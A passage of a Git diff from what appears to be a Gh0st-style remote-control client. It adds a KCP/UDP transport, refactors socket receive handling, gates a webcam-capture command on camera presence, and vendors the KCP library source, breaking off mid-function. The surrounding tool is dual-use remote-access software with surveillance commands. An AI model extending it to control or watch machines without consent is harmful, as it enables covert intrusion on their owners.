diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index ad38c80..4eafcf5 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -484,6 +484,7 @@ DWORD WINAPI StartClient(LPVOID lParam) } State& bExit(app.g_bExit); IOCPClient *ClientObject = NewNetClient(&settings, bExit); + if (nullptr == ClientObject) return -1; CKernelManager* Manager = nullptr; if (!app.m_bShared) { diff --git a/client/CursorInfo.h b/client/CursorInfo.h index ae70747..826f109 100644 --- a/client/CursorInfo.h +++ b/client/CursorInfo.h @@ -65,7 +65,7 @@ public: DestroyCursor(m_CursorHandleArray[i]); } - int getCurrentCursorIndex() + int getCurrentCursorIndex() const { CURSORINFO ci; ci.cbSize = sizeof(CURSORINFO); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index f15d2c9..580e2e8 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -317,18 +317,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } else if (iRet > 0) { - int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0); - if (iReceivedLength <= 0) - { - int a = WSAGetLastError(); - This->Disconnect(); //接收错误处理 - m_CompressedBuffer.ClearBuffer(); - if(This->m_exit_while_disconnect) - break; - }else{ - szBuffer[iReceivedLength] = 0; - //正确接收就调用OnRead处理,转到OnRead - This->OnServerReceiving(&m_CompressedBuffer, szBuffer, iReceivedLength); + if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) { + break; } } } @@ -341,6 +331,24 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) return 0xDEAD; } +bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag) { + int iReceivedLength = ReceiveData(szBuffer, len, flag); + if (iReceivedLength <= 0) + { + int a = WSAGetLastError(); + Disconnect(); //接收错误处理 + m_CompressedBuffer->ClearBuffer(); + if (m_exit_while_disconnect) + return false; + } + else { + szBuffer[iReceivedLength] = 0; + //正确接收就调用OnRead处理,转到OnRead + OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); + } + return true; +} + // 带异常处理的数据处理逻辑: // 如果 f 执行时 没有触发系统异常（如访问冲突），返回 0 // 如果 f 执行过程中 抛出了异常（比如空指针访问），将被 __except 捕获，返回异常码（如 0xC0000005 表示访问违规） diff --git a/client/IOCPClient.h b/client/IOCPClient.h index f36d5b7..8817ecf 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -157,6 +157,7 @@ protected: // TCP版本调用 recv return recv(m_sClientSocket, buffer, bufSize - 1, 0); } + virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); virtual VOID Disconnect(); // 函数支持 TCP/UDP virtual int SendTo(const char* buf, int len, int flags) { return ::send(m_sClientSocket, buf, len, flags); diff --git a/client/IOCPKCPClient.cpp b/client/IOCPKCPClient.cpp new file mode 100644 index 0000000..f7cab09 --- /dev/null +++ b/client/IOCPKCPClient.cpp @@ -0,0 +1,118 @@ +#include "IOCPKCPClient.h" +#include +#include +#include + +IOCPKCPClient::IOCPKCPClient(State& bExit, bool exit_while_disconnect) + : IOCPUDPClient(bExit, exit_while_disconnect), kcp_(nullptr), running_(false) +{ +} + +IOCPKCPClient::~IOCPKCPClient() +{ + running_ = false; + if (updateThread_.joinable()) + updateThread_.join(); + + if (kcp_) + ikcp_release(kcp_); +} + +BOOL IOCPKCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) +{ + BOOL ret = IOCPUDPClient::ConnectServer(szServerIP, uPort); + if (!ret) + return FALSE; + + // 初始化KCP + uint32_t conv = KCP_SESSION_ID; // conv 要与服务端匹配 + kcp_ = ikcp_create(conv, this); + if (!kcp_) + return FALSE; + + // 设置KCP参数 + ikcp_nodelay(kcp_, 1, 40, 2, 0); + kcp_->rx_minrto = 30; + kcp_->snd_wnd = 128; + kcp_->rcv_wnd = 128; + + // 设置发送回调函数（KCP发送数据时调用） + kcp_->output = IOCPKCPClient::kcpOutput; + + running_ = true; + updateThread_ = std::thread(&IOCPKCPClient::KCPUpdateLoop, this); + m_bConnected = TRUE; + + return TRUE; +} + +// UDP收包线程调用，将收到的UDP包送入KCP处理，再尝试读取完整应用包 +int IOCPKCPClient::ReceiveData(char* buffer, int bufSize, int flags) +{ + // 先调用基类接收UDP原始数据 + char udpBuffer[1500] = { 0 }; + int recvLen = IOCPUDPClient::ReceiveData(udpBuffer, sizeof(udpBuffer), flags); + if (recvLen <= 0) + return recvLen; + + // 输入KCP协议栈 + int inputRet = ikcp_input(kcp_, udpBuffer, recvLen); + if (inputRet < 0) + return -1; + + // 从KCP中读取应用层数据，写入buffer + int kcpRecvLen = ikcp_recv(kcp_, buffer, bufSize); + return kcpRecvLen; // >0表示收到完整应用数据，0表示无完整包 +} + +bool IOCPKCPClient::ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) { + int iReceivedLength = ReceiveData(szBuffer, len, flag); + if (iReceivedLength <= 0) + {} + else { + szBuffer[iReceivedLength] = 0; + //正确接收就调用OnRead处理,转到OnRead + OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength); + } + return true; +} + +// 发送应用层数据时调用，转发给KCP协议栈 +int IOCPKCPClient::SendTo(const char* buf, int len, int flags) +{ + if (!kcp_) + return -1; + + int ret = ikcp_send(kcp_, buf, len); + if (ret < 0) + return -1; + + // 主动调用flush，加快发送 + ikcp_flush(kcp_); + return ret; +} + +// KCP发送数据回调，将KCP生成的UDP包发送出去 +int IOCPKCPClient::kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user) +{ + IOCPKCPClient* client = reinterpret_cast(user); + if (client->m_sClientSocket == INVALID_SOCKET) + return -1; + + int sentLen = sendto(client->m_sClientSocket, buf, len, 0, (sockaddr*)&client->m_ServerAddr, sizeof(client->m_ServerAddr)); + if (sentLen == len) + return 0; + else + return -1; +} + +// 独立线程定时调用ikcp_update，保持KCP协议正常工作 +void IOCPKCPClient::KCPUpdateLoop() +{ + while (running_ && !g_bExit) + { + IUINT32 current = GetTickCount64(); + ikcp_update(kcp_, current); + std::this_thread::sleep_for(std::chrono::milliseconds(20)); // 20ms周期，视需求调整 + } +} diff --git a/client/IOCPKCPClient.h b/client/IOCPKCPClient.h new file mode 100644 index 0000000..6749062 --- /dev/null +++ b/client/IOCPKCPClient.h @@ -0,0 +1,34 @@ +#pragma once +#include "IOCPUDPClient.h" +#include "ikcp.h" +#include +#include + +class IOCPKCPClient : public IOCPUDPClient +{ +public: + IOCPKCPClient(State& bExit, bool exit_while_disconnect = false); + virtual ~IOCPKCPClient(); + + virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; + + // 重写接收函数：输入UDP数据给KCP，输出KCP层解包后的数据 + virtual int ReceiveData(char* buffer, int bufSize, int flags) override; + + virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag) override; + + // 重写发送函数：将应用数据通过KCP发送 + virtual int SendTo(const char* buf, int len, int flags) override; + +private: + // KCP发送数据的回调函数，负责调用UDP的sendto + static int kcpOutput(const char* buf, int len, struct IKCPCB* kcp, void* user); + + // 定时调用ikcp_update的线程函数 + void KCPUpdateLoop(); + +private: + ikcpcb* kcp_; + std::thread updateThread_; + std::atomic running_; +}; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 1676bab..f7857fe 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -14,15 +14,19 @@ #include "server/2015Remote/pwd_gen.h" #include #include "IOCPUDPClient.h" +#include "IOCPKCPClient.h" // UDP 协议仅能针对小包数据，且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { - if (conn->protoType == PROTO_TCP) + if (!conn->IsVerified() || conn->protoType == PROTO_TCP) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType()); if (conn->protoType == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); if (conn->protoType == PROTO_HTTP) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType()); + if (conn->protoType == PROTO_KCP) { + return new IOCPKCPClient(bExit, exit_while_disconnect); + } return NULL; } @@ -421,6 +425,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_WEBCAM: { + static bool hasCamera = WebCamIsExist(); + if (!hasCamera) break; m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index a6be105..f0909ca 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -171,6 +171,7 @@ + @@ -180,6 +181,7 @@ + @@ -202,6 +204,7 @@ + @@ -213,6 +216,7 @@ + diff --git a/common/commands.h b/common/commands.h index 2437bf3..b5a5d59 100644 --- a/common/commands.h +++ b/common/commands.h @@ -542,8 +542,11 @@ enum ProtoType { PROTO_UDP = 1, // UDP PROTO_HTTP = 2, // HTTP PROTO_HTTPS = 3, // HTTPS + PROTO_KCP = 4, // KCP }; +#define KCP_SESSION_ID 666 + enum RunningType { RUNNING_RANDOM = 0, // 随机上线 RUNNING_PARALLEL = 1, // 并发上线 diff --git a/common/ikcp.c b/common/ikcp.c new file mode 100644 index 0000000..56ca6be --- /dev/null +++ b/common/ikcp.c @@ -0,0 +1,1299 @@ +//===================================================================== +// +// KCP - A Better ARQ Protocol Implementation +// skywind3000 (at) gmail.com, 2010-2011 +// +// Features: +// + Average RTT reduce 30% - 40% vs traditional ARQ like tcp. +// + Maximum RTT reduce three times vs tcp. +// + Lightweight, distributed as a single source file. +// +//===================================================================== +#include "ikcp.h" + +#include +#include +#include +#include +#include + + + +//===================================================================== +// KCP BASIC +//===================================================================== +const IUINT32 IKCP_RTO_NDL = 30; // no delay min rto +const IUINT32 IKCP_RTO_MIN = 100; // normal min rto +const IUINT32 IKCP_RTO_DEF = 200; +const IUINT32 IKCP_RTO_MAX = 60000; +const IUINT32 IKCP_CMD_PUSH = 81; // cmd: push data +const IUINT32 IKCP_CMD_ACK = 82; // cmd: ack +const IUINT32 IKCP_CMD_WASK = 83; // cmd: window probe (ask) +const IUINT32 IKCP_CMD_WINS = 84; // cmd: window size (tell) +const IUINT32 IKCP_ASK_SEND = 1; // need to send IKCP_CMD_WASK +const IUINT32 IKCP_ASK_TELL = 2; // need to send IKCP_CMD_WINS +const IUINT32 IKCP_WND_SND = 32; +const IUINT32 IKCP_WND_RCV = 128; // must >= max fragment size +const IUINT32 IKCP_MTU_DEF = 1400; +const IUINT32 IKCP_ACK_FAST = 3; +const IUINT32 IKCP_INTERVAL = 100; +const IUINT32 IKCP_OVERHEAD = 24; +const IUINT32 IKCP_DEADLINK = 20; +const IUINT32 IKCP_THRESH_INIT = 2; +const IUINT32 IKCP_THRESH_MIN = 2; +const IUINT32 IKCP_PROBE_INIT = 7000; // 7 secs to probe window size +const IUINT32 IKCP_PROBE_LIMIT = 120000; // up to 120 secs to probe window +const IUINT32 IKCP_FASTACK_LIMIT = 5; // max times to trigger fastack + + +//--------------------------------------------------------------------- +// encode / decode +//--------------------------------------------------------------------- + +/* encode 8 bits unsigned int */ +static inline char *ikcp_encode8u(char *p, unsigned char c) +{ + *(unsigned char*)p++ = c; + return p; +} + +/* decode 8 bits unsigned int */ +static inline const char *ikcp_decode8u(const char *p, unsigned char *c) +{ + *c = *(unsigned char*)p++; + return p; +} + +/* encode 16 bits unsigned int (lsb) */ +static inline char *ikcp_encode16u(char *p, unsigned short w) +{ +#if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN + *(unsigned char*)(p + 0) = (w & 255); + *(unsigned char*)(p + 1) = (w >> 8); +#else + memcpy(p, &w, 2); +#endif + p += 2; + return p; +} + +/* decode 16 bits unsigned int (lsb) */ +static inline const char *ikcp_decode16u(const char *p, unsigned short *w) +{ +#if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN + *w = *(const unsigned char*)(p + 1); + *w = *(const unsigned char*)(p + 0) + (*w << 8); +#else + memcpy(w, p, 2); +#endif + p += 2; + return p; +} + +/* encode 32 bits unsigned int (lsb) */ +static inline char *ikcp_encode32u(char *p, IUINT32 l) +{ +#if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN + *(unsigned char*)(p + 0) = (unsigned char)((l >> 0) & 0xff); + *(unsigned char*)(p + 1) = (unsigned char)((l >> 8) & 0xff); + *(unsigned char*)(p + 2) = (unsigned char)((l >> 16) & 0xff); + *(unsigned char*)(p + 3) = (unsigned char)((l >> 24) & 0xff); +#else + memcpy(p, &l, 4); +#endif + p += 4; + return p; +} + +/* decode 32 bits unsigned int (lsb) */ +static inline const char *ikcp_decode32u(const char *p, IUINT32 *l) +{ +#if IWORDS_BIG_ENDIAN || IWORDS_MUST_ALIGN + *l = *(const unsigned char*)(p + 3); + *l = *(const unsigned char*)(p + 2) + (*l << 8); + *l = *(const unsigned char*)(p + 1) + (*l << 8); + *l = *(const unsigned char*)(p + 0) + (*l << 8); +#else + memcpy(l, p, 4); +#endif + p += 4; + return p; +} + +static inline IUINT32 _imin_(IUINT32 a, IUINT32 b) { + return a <= b ? a : b; +} + +static inline IUINT32 _imax_(IUINT32 a, IUINT32 b) { + return a >= b ? a : b; +} + +static inline IUINT32 _ibound_(IUINT32 lower, IUINT32 middle, IUINT32 upper) +{ + return _imin_(_imax_(lower, middle), upper); +} + +static inline long _itimediff(IUINT32 later, IUINT32 earlier) +{ + return ((IINT32)(later - earlier)); +} + +//--------------------------------------------------------------------- +// manage segment +//--------------------------------------------------------------------- +typedef struct IKCPSEG IKCPSEG; + +static void* (*ikcp_malloc_hook)(size_t) = NULL; +static void (*ikcp_free_hook)(void *) = NULL; + +// internal malloc +static void* ikcp_malloc(size_t size) { + if (ikcp_malloc_hook) + return ikcp_malloc_hook(size); + return malloc(size); +} + +// internal free +static void ikcp_free(void *ptr) { + if (ikcp_free_hook) { + ikcp_free_hook(ptr); + } else { + free(ptr); + } +} + +// redefine allocator +void ikcp_allocator(void* (*new_malloc)(size_t), void (*new_free)(void*)) +{ + ikcp_malloc_hook = new_malloc; + ikcp_free_hook = new_free; +} + +// allocate a new kcp segment +static IKCPSEG* ikcp_segment_new(ikcpcb *kcp, int size) +{ + return (IKCPSEG*)ikcp_malloc(sizeof(IKCPSEG) + size); +} + +// delete a segment +static void ikcp_segment_delete(ikcpcb *kcp, IKCPSEG *seg) +{ + ikcp_free(seg); +} + +// write log +void ikcp_log(ikcpcb *kcp, int mask, const char *fmt, ...) +{ + char buffer[1024]; + va_list argptr; + if ((mask & kcp->logmask) == 0 || kcp->writelog == 0) return; + va_start(argptr, fmt); + vsprintf(buffer, fmt, argptr); + va_end(argptr); + kcp->writelog(buffer, kcp, kcp->user); +} + +// check log mask +static int ikcp_canlog(const ikcpcb *kcp, int mask) +{ + if ((mask & kcp->logmask) == 0 || kcp->writelog == NULL) return 0; + return 1; +} + +// output segment +static int ikcp_output(ikcpcb *kcp, const void *data, int size) +{ + assert(kcp); + assert(kcp->output); + if (ikcp_canlog(kcp, IKCP_LOG_OUTPUT)) { + ikcp_log(kcp, IKCP_LOG_OUTPUT, "[RO] %ld bytes", (long)size); + } + if (size == 0) return 0; + return kcp->output((const char*)data, size, kcp, kcp->user); +} + +// output queue +void ikcp_qprint(const char *name, const struct IQUEUEHEAD *head) +{ +#if 0 + const struct IQUEUEHEAD *p; + printf("<%s>: [", name); + for (p = head->next; p != head; p = p->next) { + const IKCPSEG *seg = iqueue_entry(p, const IKCPSEG, node); + printf("(%lu %d)", (unsigned long)seg->sn, (int)(seg->ts % 10000)); + if (p->next != head) printf(","); + } + printf("]\n"); +#endif +} + + +//--------------------------------------------------------------------- +// create a new kcpcb +//--------------------------------------------------------------------- +ikcpcb* ikcp_create(IUINT32 conv, void *user) +{ + ikcpcb *kcp = (ikcpcb*)ikcp_malloc(sizeof(struct IKCPCB)); + if (kcp == NULL) return NULL; + kcp->conv = conv; + kcp->user = user; + kcp->snd_una = 0; + kcp->snd_nxt = 0; + kcp->rcv_nxt = 0; + kcp->ts_recent = 0; + kcp->ts_lastack = 0; + kcp->ts_probe = 0; + kcp->probe_wait = 0; + kcp->snd_wnd = IKCP_WND_SND; + kcp->rcv_wnd = IKCP_WND_RCV; + kcp->rmt_wnd = IKCP_WND_RCV; + kcp->cwnd = 0; + kcp->incr = 0; + kcp->probe = 0; + kcp->mtu = IKCP_MTU_DEF; + kcp->mss = kcp->mtu - IKCP_OVERHEAD; + kcp->stream = 0; + + kcp->buffer = (char*)ikcp_malloc((kcp->mtu + IKCP_OVERHEAD) * 3); + if (kcp->buffer == NULL) { + ikcp_free(kcp); + return NULL; + } + + iqueue_init(&kcp->snd_queue); + iqueue_init(&kcp->rcv_queue); + iqueue_init(&kcp->snd_buf); + iqueue_init(&kcp->rcv_buf); + kcp->nrcv_buf = 0; + kcp->nsnd_buf = 0; + kcp->nrcv_que = 0; + kcp->nsnd_que = 0; + kcp->state = 0; + kcp->acklist = NULL; + kcp->ackblock = 0; + kcp->ackcount = 0; + kcp->rx_srtt = 0; + kcp->rx_rttval = 0; + kcp->rx_rto = IKCP_RTO_DEF; + kcp->rx_minrto = IKCP_RTO_MIN; + kcp->current = 0; + kcp->interval = IKCP_INTERVAL; + kcp->ts_flush = IKCP_INTERVAL; + kcp->nodelay = 0; + kcp->updated = 0; + kcp->logmask = 0; + kcp->ssthresh = IKCP_THRESH_INIT; + kcp->fastresend = 0; + kcp->fastlimit = IKCP_FASTACK_LIMIT; + kcp->nocwnd = 0; + kcp->xmit = 0; + kcp->dead_link = IKCP_DEADLINK; + kcp->output = NULL; + kcp->writelog = NULL; + + return kcp; +} + + +//--------------------------------------------------------------------- +// release a new kcpcb +//--------------------------------------------------------------------- +void ikcp_release(ikcpcb *kcp) +{ + assert(kcp); + if (kcp) { + IKCPSEG *seg; + while (!iqueue_is_empty(&kcp->snd_buf)) { + seg = iqueue_entry(kcp->snd_buf.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + while (!iqueue_is_empty(&kcp->rcv_buf)) { + seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + while (!iqueue_is_empty(&kcp->snd_queue)) { + seg = iqueue_entry(kcp->snd_queue.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + while (!iqueue_is_empty(&kcp->rcv_queue)) { + seg = iqueue_entry(kcp->rcv_queue.next, IKCPSEG, node); + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + } + if (kcp->buffer) { + ikcp_free(kcp->buffer); + } + if (kcp->acklist) { + ikcp_free(kcp->acklist); + } + + kcp->nrcv_buf = 0; + kcp->nsnd_buf = 0; + kcp->nrcv_que = 0; + kcp->nsnd_que = 0; + kcp->ackcount = 0; + kcp->buffer = NULL; + kcp->acklist = NULL; + ikcp_free(kcp); + } +} + + +//--------------------------------------------------------------------- +// set output callback, which will be invoked by kcp +//--------------------------------------------------------------------- +void ikcp_setoutput(ikcpcb *kcp, int (*output)(const char *buf, int len, + ikcpcb *kcp, void *user)) +{ + kcp->output = output; +} + + +//--------------------------------------------------------------------- +// user/upper level recv: returns size, returns below zero for EAGAIN +//--------------------------------------------------------------------- +int ikcp_recv(ikcpcb *kcp, char *buffer, int len) +{ + struct IQUEUEHEAD *p; + int ispeek = (len < 0)? 1 : 0; + int peeksize; + int recover = 0; + IKCPSEG *seg; + assert(kcp); + + if (iqueue_is_empty(&kcp->rcv_queue)) + return -1; + + if (len < 0) len = -len; + + peeksize = ikcp_peeksize(kcp); + + if (peeksize < 0) + return -2; + + if (peeksize > len) + return -3; + + if (kcp->nrcv_que >= kcp->rcv_wnd) + recover = 1; + + // merge fragment + for (len = 0, p = kcp->rcv_queue.next; p != &kcp->rcv_queue; ) { + int fragment; + seg = iqueue_entry(p, IKCPSEG, node); + p = p->next; + + if (buffer) { + memcpy(buffer, seg->data, seg->len); + buffer += seg->len; + } + + len += seg->len; + fragment = seg->frg; + + if (ikcp_canlog(kcp, IKCP_LOG_RECV)) { + ikcp_log(kcp, IKCP_LOG_RECV, "recv sn=%lu", (unsigned long)seg->sn); + } + + if (ispeek == 0) { + iqueue_del(&seg->node); + ikcp_segment_delete(kcp, seg); + kcp->nrcv_que--; + } + + if (fragment == 0) + break; + } + + assert(len == peeksize); + + // move available data from rcv_buf -> rcv_queue + while (! iqueue_is_empty(&kcp->rcv_buf)) { + seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); + if (seg->sn == kcp->rcv_nxt && kcp->nrcv_que < kcp->rcv_wnd) { + iqueue_del(&seg->node); + kcp->nrcv_buf--; + iqueue_add_tail(&seg->node, &kcp->rcv_queue); + kcp->nrcv_que++; + kcp->rcv_nxt++; + } else { + break; + } + } + + // fast recover + if (kcp->nrcv_que < kcp->rcv_wnd && recover) { + // ready to send back IKCP_CMD_WINS in ikcp_flush + // tell remote my window size + kcp->probe |= IKCP_ASK_TELL; + } + + return len; +} + + +//--------------------------------------------------------------------- +// peek data size +//--------------------------------------------------------------------- +int ikcp_peeksize(const ikcpcb *kcp) +{ + struct IQUEUEHEAD *p; + IKCPSEG *seg; + int length = 0; + + assert(kcp); + + if (iqueue_is_empty(&kcp->rcv_queue)) return -1; + + seg = iqueue_entry(kcp->rcv_queue.next, IKCPSEG, node); + if (seg->frg == 0) return seg->len; + + if (kcp->nrcv_que < seg->frg + 1) return -1; + + for (p = kcp->rcv_queue.next; p != &kcp->rcv_queue; p = p->next) { + seg = iqueue_entry(p, IKCPSEG, node); + length += seg->len; + if (seg->frg == 0) break; + } + + return length; +} + + +//--------------------------------------------------------------------- +// user/upper level send, returns below zero for error +//--------------------------------------------------------------------- +int ikcp_send(ikcpcb *kcp, const char *buffer, int len) +{ + IKCPSEG *seg; + int count, i; + + assert(kcp->mss > 0); + if (len < 0) return -1; + + // append to previous segment in streaming mode (if possible) + if (kcp->stream != 0) { + if (!iqueue_is_empty(&kcp->snd_queue)) { + IKCPSEG *old = iqueue_entry(kcp->snd_queue.prev, IKCPSEG, node); + if (old->len < kcp->mss) { + int capacity = kcp->mss - old->len; + int extend = (len < capacity)? len : capacity; + seg = ikcp_segment_new(kcp, old->len + extend); + assert(seg); + if (seg == NULL) { + return -2; + } + iqueue_add_tail(&seg->node, &kcp->snd_queue); + memcpy(seg->data, old->data, old->len); + if (buffer) { + memcpy(seg->data + old->len, buffer, extend); + buffer += extend; + } + seg->len = old->len + extend; + seg->frg = 0; + len -= extend; + iqueue_del_init(&old->node); + ikcp_segment_delete(kcp, old); + } + } + if (len <= 0) { + return 0; + } + } + + if (len <= (int)kcp->mss) count = 1; + else count = (len + kcp->mss - 1) / kcp->mss; + + if (count >= (int)IKCP_WND_RCV) return -2; + + if (count == 0) count = 1; + + // fragment + for (i = 0; i < count; i++) { + int size = len > (int)kcp->mss ? (int)kcp->mss : len; + seg = ikcp_segment_new(kcp, size); + assert(seg); + if (seg == NULL) { + return -2; + } + if (buffer && len > 0) { + memcpy(seg->data, buffer, size); + } + seg->len = size; + seg->frg = (kcp->stream == 0)? (count - i - 1) : 0; + iqueue_init(&seg->node); + iqueue_add_tail(&seg->node, &kcp->snd_queue); + kcp->nsnd_que++; + if (buffer) { + buffer += size; + } + len -= size; + } + + return 0; +} + + +//--------------------------------------------------------------------- +// parse ack +//--------------------------------------------------------------------- +static void ikcp_update_ack(ikcpcb *kcp, IINT32 rtt) +{ + IINT32 rto = 0; + if (kcp->rx_srtt == 0) { + kcp->rx_srtt = rtt; + kcp->rx_rttval = rtt / 2; + } else { + long delta = rtt - kcp->rx_srtt; + if (delta < 0) delta = -delta; + kcp->rx_rttval = (3 * kcp->rx_rttval + delta) / 4; + kcp->rx_srtt = (7 * kcp->rx_srtt + rtt) / 8; + if (kcp->rx_srtt < 1) kcp->rx_srtt = 1; + } + rto = kcp->rx_srtt + _imax_(kcp->interval, 4 * kcp->rx_rttval); + kcp->rx_rto = _ibound_(kcp->rx_minrto, rto, IKCP_RTO_MAX); +} + +static void ikcp_shrink_buf(ikcpcb *kcp) +{ + struct IQUEUEHEAD *p = kcp->snd_buf.next; + if (p != &kcp->snd_buf) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + kcp->snd_una = seg->sn; + } else { + kcp->snd_una = kcp->snd_nxt; + } +} + +static void ikcp_parse_ack(ikcpcb *kcp, IUINT32 sn) +{ + struct IQUEUEHEAD *p, *next; + + if (_itimediff(sn, kcp->snd_una) < 0 || _itimediff(sn, kcp->snd_nxt) >= 0) + return; + + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + next = p->next; + if (sn == seg->sn) { + iqueue_del(p); + ikcp_segment_delete(kcp, seg); + kcp->nsnd_buf--; + break; + } + if (_itimediff(sn, seg->sn) < 0) { + break; + } + } +} + +static void ikcp_parse_una(ikcpcb *kcp, IUINT32 una) +{ + struct IQUEUEHEAD *p, *next; + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + next = p->next; + if (_itimediff(una, seg->sn) > 0) { + iqueue_del(p); + ikcp_segment_delete(kcp, seg); + kcp->nsnd_buf--; + } else { + break; + } + } +} + +static void ikcp_parse_fastack(ikcpcb *kcp, IUINT32 sn, IUINT32 ts) +{ + struct IQUEUEHEAD *p, *next; + + if (_itimediff(sn, kcp->snd_una) < 0 || _itimediff(sn, kcp->snd_nxt) >= 0) + return; + + for (p = kcp->snd_buf.next; p != &kcp->snd_buf; p = next) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + next = p->next; + if (_itimediff(sn, seg->sn) < 0) { + break; + } + else if (sn != seg->sn) { + #ifndef IKCP_FASTACK_CONSERVE + seg->fastack++; + #else + if (_itimediff(ts, seg->ts) >= 0) + seg->fastack++; + #endif + } + } +} + + +//--------------------------------------------------------------------- +// ack append +//--------------------------------------------------------------------- +static void ikcp_ack_push(ikcpcb *kcp, IUINT32 sn, IUINT32 ts) +{ + size_t newsize = kcp->ackcount + 1; + IUINT32 *ptr; + + if (newsize > kcp->ackblock) { + IUINT32 *acklist; + size_t newblock; + + for (newblock = 8; newblock < newsize; newblock <<= 1); + acklist = (IUINT32*)ikcp_malloc(newblock * sizeof(IUINT32) * 2); + + if (acklist == NULL) { + assert(acklist != NULL); + abort(); + } + + if (kcp->acklist != NULL) { + size_t x; + for (x = 0; x < kcp->ackcount; x++) { + acklist[x * 2 + 0] = kcp->acklist[x * 2 + 0]; + acklist[x * 2 + 1] = kcp->acklist[x * 2 + 1]; + } + ikcp_free(kcp->acklist); + } + + kcp->acklist = acklist; + kcp->ackblock = newblock; + } + + ptr = &kcp->acklist[kcp->ackcount * 2]; + ptr[0] = sn; + ptr[1] = ts; + kcp->ackcount++; +} + +static void ikcp_ack_get(const ikcpcb *kcp, int p, IUINT32 *sn, IUINT32 *ts) +{ + if (sn) sn[0] = kcp->acklist[p * 2 + 0]; + if (ts) ts[0] = kcp->acklist[p * 2 + 1]; +} + + +//--------------------------------------------------------------------- +// parse data +//--------------------------------------------------------------------- +void ikcp_parse_data(ikcpcb *kcp, IKCPSEG *newseg) +{ + struct IQUEUEHEAD *p, *prev; + IUINT32 sn = newseg->sn; + int repeat = 0; + + if (_itimediff(sn, kcp->rcv_nxt + kcp->rcv_wnd) >= 0 || + _itimediff(sn, kcp->rcv_nxt) < 0) { + ikcp_segment_delete(kcp, newseg); + return; + } + + for (p = kcp->rcv_buf.prev; p != &kcp->rcv_buf; p = prev) { + IKCPSEG *seg = iqueue_entry(p, IKCPSEG, node); + prev = p->prev; + if (seg->sn == sn) { + repeat = 1; + break; + } + if (_itimediff(sn, seg->sn) > 0) { + break; + } + } + + if (repeat == 0) { + iqueue_init(&newseg->node); + iqueue_add(&newseg->node, p); + kcp->nrcv_buf++; + } else { + ikcp_segment_delete(kcp, newseg); + } + +#if 0 + ikcp_qprint("rcvbuf", &kcp->rcv_buf); + printf("rcv_nxt=%lu\n", kcp->rcv_nxt); +#endif + + // move available data from rcv_buf -> rcv_queue + while (! iqueue_is_empty(&kcp->rcv_buf)) { + IKCPSEG *seg = iqueue_entry(kcp->rcv_buf.next, IKCPSEG, node); + if (seg->sn == kcp->rcv_nxt && kcp->nrcv_que < kcp->rcv_wnd) { + iqueue_del(&seg->node); + kcp->nrcv_buf--; + iqueue_add_tail(&seg->node, &kcp->rcv_queue); + kcp->nrcv_que++; + kcp->rcv_nxt++; + } else { + break; + } + } + +#if 0 + ikcp_qprint("queue", &kcp->rcv_queue); + printf("rcv_nxt=%lu\n", kcp->rcv_nxt); +#endif + +#if 1 +// printf("snd(buf=%d, queue=%d)\n", kcp->nsnd_buf, kcp->nsnd_que); +// printf("rcv(buf=%d, queue=%d)\n", kcp->nrcv_buf, kcp->nrcv_que); +#endif +} + + +//--------------------------------------------------------------------- +// input data +//--------------------------------------------------------------------- +int ikcp_input(ikcpcb *kcp, const char *data, long size) +{ + IUINT32 prev_una = kcp->snd_una; + IUINT32 maxack = 0, latest_ts = 0; + int flag = 0; + + if (ikcp_canlog(kcp, IKCP_LOG_INPUT)) { + 